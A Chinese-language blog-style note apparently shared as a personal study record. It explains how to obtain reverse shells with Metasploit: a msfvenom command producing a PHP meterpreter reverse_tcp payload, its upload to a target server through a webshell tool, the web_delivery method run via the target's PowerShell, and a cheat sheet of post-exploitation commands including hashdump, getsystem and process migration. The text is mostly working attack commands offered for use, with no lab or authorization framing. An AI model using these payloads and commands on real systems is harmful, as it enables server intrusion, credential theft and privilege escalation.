今天回顾了一下msf反弹shell的操作，在这里做一下记录和分享。(￣︶￣)↗
反弹shell的两种方法
第一种Msfvenom实例：
1、msfconsole #启动msf
2、msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php #生成反弹shell文件
LHOST表示本地攻击机的ip， LPORT表示本地攻击机的端口。
其他msf下的各种生成payload命令可参考：https://www.cnblogs.com/backlion/p/6000544.html
这样我们就成功生成了一个shell.php文件。
3、接下来我们需要在本机中监听4444端口。
这就表示开始本机开始监听4444端口了。
4、现在把shell.php文件通过菜刀上传至目标服务器中，然后本地游览器访问shell.php
即可以看见成功返回了一个session
sessions -i #查看当前可用会话
第二种web_delivery实例流程：
1、msfconsole #启动msf
2、show options #目的是看exploit target为什么脚本
这里默认为pyhton，需要更改为php
show payloads #挑选payload，选择php/meterpreter/reverse_tcp
然后设置lhost
得到一段脚本，将这段脚本在目标机的powershell中执行即可反弹shell。
下面贴一些常用的命令：
基础命令：
seach cve-2017-7494 #查看是否存在指定漏洞
use exploit/multi/handler #使用exploit/multi/handler模块
info #查看信息
show options #查看exp的参数 rhost 是远程主机地址 lhost是本地主机地址
back #返回上一级
session -i #查看当前可用会话
sessions -i x #切换至会话x
session -k #杀死所有活跃会话
background #将会话放到后台
route #查看被控主机路由表
sysinfo #查看系统信息
run post/windows/gather/checkvm #检查是否在虚拟机上运行
idletime #查看运行时间
getuid #获得运行Meterpreter会话的用户名，从而查看当前会话具有的权限
getsystem #通过各种攻击向量来提升到系统用户权限
getwd pwd #shell处于靶机的目录
getlwd #本地的目录位置
hashdump #导出目标主机中的口令哈希值
screenshot #对目标主机的屏幕进行截图
backgroud #将当前Meterpreter shell转为后台执行
quit #关闭当前Meterpreter会话，返回MSF终端
ps #显示所有运行进程以及管联的用户账户
migrate PID #迁移到一个指定的进程PID
post/windows/manage/migrate #会自动寻找合适的进程进行迁移
execute -f cmd.exe -i #执行cmd.exe命令并进行交互
shell #以所有可用令牌来运行一个交互的shell
